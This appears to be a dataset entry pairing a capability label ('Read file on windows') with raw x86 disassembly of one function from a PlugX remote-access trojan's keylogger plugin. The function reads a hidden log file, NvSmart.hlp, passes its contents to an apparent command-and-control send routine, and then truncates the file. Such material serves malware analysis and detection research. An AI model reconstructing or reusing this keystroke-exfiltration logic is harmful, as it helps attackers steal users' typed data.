Function at 0x1000ff00
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
cmp dword [0x1002d3d8], 0
push ebx
push esi
push edi
mov edi, ecx
mov dword [esp + 0x1c], 0
mov esi, edx
mov dword [esp + 0x14], edi
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x18], 0
jne 0x1000ff69
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x1000ff5f
mov dword [eax + 0x1990], 0
mov dword [0x1002d3d8], eax
jmp 0x1000ff69
mov dword [0x1002d3d8], 0
cmp word [0x10030354], 0
jne 0x1000ffc3
push 0
mov edx, 0x38
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.h
call fcn.10024152
add esp, 4
cmp word [0x10030354], 0
jne 0x1000ffc3
push 0
mov edx, 0x39
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.h
call fcn.10024152
add esp, 4
cmp word [0x10030354], 0
jne 0x1000ffc3
push 0
mov edx, 0x3a
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.h
call fcn.10024152
add esp, 4
mov edx, 0x10030354
lea ecx, [esp + 0x18]
call fcn.1001b5b0
test eax, eax
je 0x1000ffe9
push 0
mov edx, 0xa6
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugKeyLogger.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x24]
cdq
sub eax, edx
sar eax, 1
cmp word [ecx + eax*2 - 2], 0x5c
je 0x10010026
push 2
push 0x10028918
lea ecx, [esp + 0x20]
call fcn.100066e0
test eax, eax
je 0x10010026
push 0
mov edx, 0xfc
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
push str.NvSmart.hlp
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
lea ecx, [esp + 0x18]
push eax
push str.NvSmart.hlp
call fcn.100066e0
test eax, eax
je 0x1001005a
push 0
mov edx, 0xab
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugKeyLogger.cpp
call fcn.10024152
add esp, 4
push 0
push 0
push 4
push 0
push 1
push 0xc0000000
push dword [esp + 0x3c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x100100af
mov dword [esi], 0x20120123
mov dword [esi + 4], 0xe000
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0xc], eax
mov dword [esi + 8], 0
call fcn.1000fe20
push 0x7530
push esi
push edi
mov eax, dword [eax + 0x38]
call eax
mov edi, eax
jmp 0x100101bb
push 0
lea ecx, [esp + 0x14]
push ecx
push 0x4000
lea eax, [esi + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10010128
nop word [eax + eax]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10010128
mov dword [esi], 0x20120123
mov dword [esi + 4], 0xe000
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0
call fcn.1000fe20
push 0x7530
push esi
push edi
mov eax, dword [eax + 0x38]
call eax
mov edi, eax
test edi, edi
jne 0x100101d7
push eax
lea eax, [esp + 0x14]
push eax
push 0x4000
lea eax, [esi + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edi, dword [esp + 0x14]
test eax, eax
jne 0x100100d0
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
test eax, eax
je 0x1001014d
push 0
mov edx, 0xe2
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugKeyLogger.cpp
call fcn.10024152
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1001016b
push eax
mov edx, 0xe7
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugKeyLogger.cpp
call fcn.10024152
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10010189
push eax
mov edx, 0xec
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugKeyLogger.cpp
call fcn.10024152
add esp, 4
mov dword [esi], 0x20120123
mov dword [esi + 4], 0xe000
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
call fcn.1000fe20
push 0x7530
push esi
push edi
mov eax, dword [eax + 0x38]
call eax
mov edi, eax
test edi, edi
jne 0x100101bb
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x100101ce
push 1
push eax
call fcn.10027bcc
add esp, 8
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x100101bb
push eax
mov edx, 0xd7
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugKeyLogger.cpp
call fcn.10024152
add esp, 4
jmp 0x100101bb